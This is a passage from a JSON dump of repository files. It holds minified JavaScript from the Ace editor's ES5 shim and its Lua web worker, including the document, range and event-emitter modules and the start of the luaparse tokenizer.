t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-lua.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/lua/luaparse\",[\"require\",\"exports\",\"module\"],function(e,t,n){(function(e,n,r){r(t)})(this,\"luaparse\",function(e){\"use strict\";function m(e){if(mt){var t=vt.pop();t.complete(),n.locations&&(e.loc=t.loc),n.ranges&&(e.range=t.range)}return e}function w(e,t,n){for(var r=0,i=e.length;r<i;r++)if(e[r][t]===n)return r;return-1}function E(e){var t=g.call(arguments,1);return e=e.replace(/%(\\d)/g,function(e,n){return\"\"+t[n-1]||\"\"}),e}function S(){var e=g.call(arguments),t={},n,r;for(var i=0,s=e.length;i<s;i++){n=e[i];for(r in n)n.hasOwnProperty(r)&&(t[r]=n[r])}return t}function x(e){var t=E.apply(null,g.call(arguments,1)),n,r;throw\"undefined\"!=typeof e.line?(r=e.range[0]-e.lineStart,n=new SyntaxError(E(\"[%1:%2] %3\",e.line,r,t)),n.line=e.line,n.index=e.range[0],n.column=r):(r=C-D+1,n=new SyntaxError(E(\"[%1:%2] %3\",_,r,t)),n.index=C,n.line=_,n.column=r),n}function T(e,t){x(t,d.expectedToken,e,t.value)}function N(e,t){\"undefined\"==typeof t&&(t=A.value);if(\"undefined\"!=typeof e.type){var n;switch(e.type){case o:n=\"string\";break;case u:n=\"keyword\";break;case a:n=\"identifier\";break;case f:n=\"number\";break;case l:n=\"symbol\";break;case c:n=\"boolean\";break;case h:return x(e,d.unexpected,\"symbol\",\"nil\",t)}return x(e,d.unexpected,n,e.value,t)}return x(e,d.unexpected,\"symbol\",e,t)}function P(){H();while(45===t.charCodeAt(C)&&45===t.charCodeAt(C+1))X(),H();if(C>=r)return{type:s,value:\"<eof>\",line:_,lineStart:D,range:[C,C]};var e=t.charCodeAt(C),n=t.charCodeAt(C+1);M=C;if(et(e))return B();switch(e){case 39:case 34:return I();case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:return R();case 46:if(Y(n))return R();if(46===n)return 46===t.charCodeAt(C+2)?F():j(\"..\");return j(\".\");case 61:if(61===n)return j(\"==\");return j(\"=\");case 62:if(61===n)return j(\">=\");return j(\">\");case 60:if(61===n)return j(\"<=\");return j(\"<\");case 126:if(61===n)return j(\"~=\");return x({},d.expected,\"=\",\"~\");case 58:if(58===n)return j(\"::\");return j(\":\");case 91:if(91===n||61===n)return q();return j(\"[\");case 42:case 47:case 94:case 37:case 44:case 123:case 125:case 93:case 40:case 41:case 59:case 35:case 45:case 43:return j(t.charAt(C))}return N(t.charAt(C))}function H(){while(C<r){var e=t.charCodeAt(C);if(Q(e))C++;else{if(!G(e))break;_++,D=++C}}}function B(){var e,n;while(tt(t.charCodeAt(++C)));return e=t.slice(M,C),nt(e)?n=u:\"true\"===e||\"false\"===e?(n=c,e=\"true\"===e):\"nil\"===e?(n=h,e=null):n=a,{type:n,value:e,line:_,lineStart:D,range:[M,C]}}function j(e){return C+=e.length,{type:l,value:e,line:_,lineStart:D,range:[M,C]}}function F(){return C+=3,{type:p,value:\"...\",line:_,lineStart:D,range:[M,C]}}function I(){var e=t.charCodeAt(C++),n=C,i=\"\",s;while(C<r){s=t.charCodeAt(C++);if(e===s)break;if(92===s)i+=t.slice(n,C-1)+W(),n=C;else if(C>=r||G(s))i+=t.slice(n,C-1),x({},d.unfinishedString,i+String.fromCharCode(s))}return i+=t.slice(n,C-1),{type:o,value:i,line:_,lineStart:D,range:[M,C]}}function q(){var e=V();return!1===e&&x(k,d.expected,\"[\",k.value),{type:o,value:e,line:_,lineStart:D,range:[M,C]}}function R(){var e=t.charAt(C),n=t.charAt(C+1),r=\"0\"===e&&\"xX\".indexOf(n||null)>=0?U():z();return{type:f,value:r,line:_,lineStart:D,range:[M,C]}}function U(){var e=0,n=1,r=1,i,s,o,u;u=C+=2,Z(t.charCodeAt(C))||x({},d.malformedNumber,t.slice(M,C));while(Z(t.charCodeAt(C)))C++;i=parseInt(t.slice(u,C),16);if(\".\"===t.charAt(C)){s=++C;while(Z(t.charCodeAt(C)))C++;e=t.slice(s,C),e=s===C?0:parseInt(e,16)/Math.pow(16,C-s)}if(\"pP\".indexOf(t.charAt(C)||null)>=0){C++,\"+-\".indexOf(t.charAt(C)||null)>=0&&(r=\"+\"===t.charAt(C++)?1:-1),o=C,Y(t.charCodeAt(C))||x({},d.malformedNumber,t.slice(M,C));while(Y(t.charCodeAt(C)))C++;n=t.slice(o,C),n=Math.pow(2,n*r)}return(i+e)*n}function z(){while(Y(t.charCodeAt(C)))C++;if(\".\"===t.charAt(C)){C++;while(Y(t.charCodeAt(C)))C++}if(\"eE\".indexOf(t.charAt(C)||null)>=0){C++,\"+-\".indexOf(t.charAt(C)||null)>=0&&C++,Y(t.charCodeAt(C))||x({},d.malformedNumber,t.slice(M,C));while(Y(t.charCodeAt(C)))C++}return parseFloat(t.slice(M,C))}function W(){var e=C;switch(t.charAt(C)){case\"n\":return C++,\"\\n\";case\"r\":return C++,\"\\r\";case\"t\":return C++,\"\t\";case\"v\":return C++,\"\u000b\";case\"b\":return C++,\"\\b\";case\"f\":return C++,\"\\f\";case\"z\":return C++,H(),\"\";case\"x\":if(Z(t.charCodeAt(C+1))&&Z(t.charCodeAt(C+2)))return C+=3,\"\\\\\"+t.slice(e,C);return\"\\\\\"+t.charAt(C++);default:if(Y(t.charCodeAt(C))){while(Y(t.charCodeAt(++C)));return\"\\\\\"+t.slice(e,C)}return t.charAt(C++)}}function X(){M=C,C+=2;var 